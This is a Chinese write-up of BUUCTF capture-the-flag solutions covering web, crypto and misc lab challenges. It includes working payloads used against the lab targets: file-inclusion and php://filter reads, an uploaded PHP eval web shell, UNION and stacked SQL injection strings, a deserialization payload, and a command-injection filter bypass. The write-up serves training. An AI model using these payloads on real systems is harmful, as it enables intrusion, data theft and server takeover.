buuctf解题记录
buuctf解题记录
Basic
1、 Linux labs
Ssh连接查看目录
2、BUU LFI COURSE 1
打开环境 是一道文件包含题 进行get传参
构造payload: http://c0577f81-9c9f-47d3-8049-7f07fe3de64f.node4.buuoj.cn:81/?file=../../flag 得到flag
3、BUU BRUTE 1
打开环境,是一个登录页面
尝试万能密码 admin ,提示密码为四位数
字典生成器生成四位数字典,bp爆破 发现密码为6490登录得到flag
4、Upload-Labs-Linux Pass-01
一个文件上传题,查看源码发现对文件后缀做了限制只能上传.jpg .png 和 .gif文件
直接上传一句话木马,后缀为png密码是123456
<?php @eval($_POST[123456])?>
找到图片路径构造url:http://e09c22bb-5f2b-4818-8d15-a1e92d2880d4.node4.buuoj.cn:81/upload/222.png
中国蚁剑连接,在根目录下找到flag
5、BUU SQL COURSE 1
打开靶场环境 在测试新闻1页面中F12找到了隐藏url
访问content_detail.php?id=1
页面构造payload
?id=0 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
# admin、contents
?id=0 union select 1,group_concat(column_name) from information_schema.columns where table_name='admin' and table_schema=database()#
# id、username、password
?id=0 union select group_concat(username),group_concat(password) from admin#
# admin、4060176f25a3fc1f44932f0a24a70759
爆出用户名和密码
登录得到flag
6、BUU CODE REVIEW
打开靶场环境,进行代码审计
摘出来在线运行
构造payload
GET部分:?pleaseget=1
POST部分:pleasepost=2&md51[]=1&md52[]=2&obj=O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";R:2;}
提交payload得到flag
7、sqli-labs / Less-1
?id=0' union select 1,2,group_concat(schema_name) from information_schema.schemata--+
?id=0' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='ctftraining'--+
?id=0' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='ctftraining' and table_name='flag'--+
?id=0' union select 1,2,group_concat(flag) from ctftraining.flag--+
Crypto
1~9、 下载压缩包,在线解密出flag
10、篱笆墙的影子
题目:felhaagv{ewtehtehfilnakgw}
有题目得,解为flag{}的形式,所以felhaagv解密为flag的形式,所以可以看出该栅栏密码为两行
f l a g
e h a v
所以写出剩下的,解出密码为
flag{wethinkwehavetheflag}
11、丢失的MD5
下载压缩包得到一个py文件运行得到flag
12、Windows系统密码
下载解压压缩包得到一个后缀为.hash的文件,用记事本打开
正好每一段都是32位的很符合md5的加密,一段一段的试
前面两个是空密码,第三个解出来了要钱,第四段出现了解码,就是flag了
Misc
1、签到题
2、大白
原本的图片大小被更改为了,所以我们把0100进行更改为02A7即可获得原来的图片大小
N1BOOK
1、[第一章 web入门]常见的搜集
打开环境
访问robots.txt
访问txt文件得到flag1
index.php~查看拿到flag2
访问.index.php.swp拿到flag3
最后合并得到完整flag
2、[第一章 web入门]粗心的小李
使用GitHack.py,下载index.html查看源码
python GitHack.py http://ca249cab-51cb-4bd5-9b23-5dfea0b056ae.node4.buuoj.cn:81/.git/
发现flag{git_looks_s0_easyfun}
Pwn
Real
Reverse
web
1、[极客大挑战 2019]EasySQL
SQL注入题,万能公式先试一边
# 万能公式
1 and 1=1
1' and '1'='1
1 or 1=1
1' or '1'='1
到1’ or ‘1’='1的时候爆出了flag
2、[HCTF 2018]WarmUp
打开环境看到是一个笑脸,f12查看源码发现提示source.php
查看source.php
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
访问hint.php
观察source.php源码
if后面跟随三个判断条件:
1.输入"file"不空
2.输入"file"为字符串
3.能够通过上述条件函数(emmm中的checkFile)
通过判断条件后,文件包含成功,语句也就顺利执行了。
构造payload: ?file=source.php?../…/…/…/…/ffffllllaaaagggg 执行得到flag
3、[极客大挑战 2019]Havefun
打开靶场是一个空荡荡的页面
f12查看源码
发现有一段php提示代码,下面尝试进行get传参 cat=dog,得到flag
4、[ACTF2020 新生赛]Include
启动并访问靶机,主页只有一个tips连接,我们访问该链接,发现通过file伪协议,打开了flag.php这个文件,说明存在文件包含漏洞
flag应该就存在flag.php中,但是我们f12并没有查看到flag,猜测flag应该是在flag.php的源代码当中 3.我们可以利用php://filter伪协议来查看flag.php的源代码,构造payload:?file=php://filter/convert.base64-encode/resource=flag.php
4.成功获取到flag.php加密后到源代码内容:
该内容经过base64加密,在线解密后得到flag{fb8c2fa4-b4a1-4be8-90f6-2bf1fc139f1b}
5、[ACTF2020 新生赛]Exec
输入一个正常ip,burp抓包尝试命令
回显正常,ls查看文件目录,看到flag文件
cat查看flag
6、[强网杯 2019]随便注
测试1’ or 1=1 # 初步测试存在sql注入
测试字段数1’ order by 1 # ,到3时报错了 说明字段数为2
接着尝试union注入 1’ union select 1,2# 回显了过滤的关键字。
接下来就是“堆叠注入”了。 原理很简单,就是通过 ; 号注入多条SQL语句。
先通过show databases爆出数据库。
0'; show databases; #
show tables 尝试爆表
0'; show tables; #
然后尝试报表 1919810931114514 的内容。这里学到一个新知识点,表名为数字时,要用反引号包起来查询。
可以发现已经爆出flag了,但是要怎样查看flag的具体值 这里借鉴了其他师傅给出的方法
1,通过 rename 先把 words 表改名为其他的表名。
2,把 1919810931114514 表的名字改为 words 。
3 ,给新 words 表添加新的列名 id 。
4,将 flag 改名为 data 。
1'; rename table words to word1; rename table `1919810931114514` to words;alter table words add id int unsigned not Null auto_increment primary key; alter table words change flag data varchar(100);#
7、[SUCTF 2019]EasySQL
这道题打开是一个查询页面,试了几种注入方法但都被过滤掉了,下面是找到网上大佬的方法
输入*,1 提交得到flag
8、[GXYCTF2019]Ping Ping Ping
进入环境输个ip发现就是在ping这个ip地址,我们尝试使用分号来执行命令
我们尝试使用分号来执行命令,找到了flag.php文件
试了试直接cat flag.php行不通应该被过滤了,过滤了很多东西但是发现了一种方法可以绕过
?ip=127.0.0.1;a=ag;b=fl;cat$IFS b$a.php 执行命令查看源码即可看到flag
9、[极客大挑战 2019]Secret File
打开靶场直接f12查看源码
发现一个可疑连接href="./Archive_room.php" ,访问此链接
点击SECRET
看到一个画面一闪而过什么都没看到,那么尝试bp抓包
发现隐藏文件secr3t.php ,访问secr3t.php看到提示flag位置
直接访问flag.php显然行不通,试试文件包含代码看看能不能把隐藏的flag.php展示出来:?file=php://filter/read=convert.base64-encode/resource=flag.php
可以看到显示出来一段像是base64加密过的代码
解密得到flag
加固题
- 点赞
- 收藏
- 关注作者
评论(0)